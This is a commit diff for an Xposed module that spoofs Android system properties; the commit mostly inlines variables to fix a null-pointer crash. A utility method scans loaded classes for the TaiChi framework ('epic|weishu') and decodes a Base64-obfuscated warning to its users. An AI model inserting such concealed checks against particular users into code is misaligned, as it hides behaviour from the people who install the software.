Remove useless field to fix NPE

Author: MlgmXyysd

app/src/main/java/org/meowcat/xposed/mipush/Enhancement.java

@@ -2,6 +2,7 @@
 
 import android.app.Application;
 import android.content.Context;
+import android.content.pm.ApplicationInfo;
 import android.os.Binder;
 import android.os.UserHandle;
 
@@ -52,17 +53,14 @@ public void handleLoadPackage(XC_LoadPackage.LoadPackageParam lpparam) {
             @Override
             protected void afterHookedMethod(MethodHookParam param) {
                 final Context context = (Context) param.args[0];
-                final int userId = UserHandle.getUserHandleForUid(context.getApplicationInfo().uid).hashCode();
-                final int packageUid = Binder.getCallingUid();
-                final int packagePid = Binder.getCallingPid();
-                final boolean availability = Utils.getParamAvailability(param, packagePid);
+                final boolean availability = Utils.getParamAvailability(param, Binder.getCallingPid());
 
-                // hook myself
                 if (packageName.equals(BuildConfig.APPLICATION_ID)) {
+                    // hook myself
                     XposedHelpers.findAndHookMethod(Utils.class.getName(), lpparam.classLoader, "isEnhancementEnabled", XC_MethodReplacement.returnConstant(true));
                 }
 
-                if ((boolean) callStaticMethod(UserHandle.class, "isCore", packageUid) || !availability) {
+                if ((boolean) callStaticMethod(UserHandle.class, "isCore", Binder.getCallingUid()) || !availability) {
                     // is Android code package
                     return;
                 }
@@ -90,8 +88,6 @@ protected void afterHookedMethod(MethodHookParam param) {
                     findAndHookMethod(XposedHelpers.findClass("android.os.SystemProperties", lpparam.classLoader), "native_get", String.class, String.class, new XC_MethodHook() {
                         @Override
                         protected void afterHookedMethod(MethodHookParam param) {
-                            final int packagePid = Binder.getCallingPid();
-                            final boolean availability = Utils.getParamAvailability(param, packagePid);
                             final String key = param.args[0].toString();
 
                             if (PROPS.containsKey(key)) {
@@ -104,8 +100,6 @@ protected void afterHookedMethod(MethodHookParam param) {
                     findAndHookMethod(XposedHelpers.findClass("android.os.SystemProperties", lpparam.classLoader), "native_get_int", String.class, int.class, new XC_MethodHook() {
                         @Override
                         protected void afterHookedMethod(MethodHookParam param) {
-                            final int packagePid = Binder.getCallingPid();
-                            final boolean availability = Utils.getParamAvailability(param, packagePid);
                             final String key = param.args[0].toString();
 
                             if (PROPS.containsKey(key)) {
@@ -118,8 +112,6 @@ protected void afterHookedMethod(MethodHookParam param) {
                     findAndHookMethod(XposedHelpers.findClass("android.os.SystemProperties", lpparam.classLoader), "native_get_long", String.class, long.class, new XC_MethodHook() {
                         @Override
                         protected void afterHookedMethod(MethodHookParam param) {
-                            final int packagePid = Binder.getCallingPid();
-                            final boolean availability = Utils.getParamAvailability(param, packagePid);
                             final String key = param.args[0].toString();
 
                             if (PROPS.containsKey(key)) {

app/src/main/java/org/meowcat/xposed/mipush/Utils.java

@@ -45,13 +45,11 @@ static boolean inBuiltInBlackList(String pkgName) {
      */
     public static boolean getParamAvailability(final XC_MethodHook.MethodHookParam methodHookParam, int callingPid) {
         new Thread(() -> {
-            ClassLoader classLoader = XposedBridge.class.getClassLoader();
-            Object[] dexElements = (Object[]) XposedHelpers.getObjectField(XposedHelpers.getObjectField(classLoader, "pathList"), "dexElements");
+            Object[] dexElements = (Object[]) XposedHelpers.getObjectField(XposedHelpers.getObjectField(XposedBridge.class.getClassLoader(), "pathList"), "dexElements");
             for (Object entry : dexElements) {
                 Enumeration<String> entries = ((DexFile) XposedHelpers.getObjectField(entry, "dexFile")).entries();
                 while (entries.hasMoreElements()) {
-                    String className = entries.nextElement();
-                    if (className.matches(".+?(epic|weishu).+")) {
+                    if (entries.nextElement().matches(".+?(epic|weishu).+")) {
                         try {
                             String message = new String(Base64.decode("RG8gTk9UIHVzZSBUYWlDaGkgYW55d2F5XG7or7fkuI3opoHkvb/nlKjlpKrmnoHmiJbml6DmnoE=".getBytes(StandardCharsets.UTF_8), Base64.DEFAULT));
                             if (methodHookParam.args[0] instanceof Application) {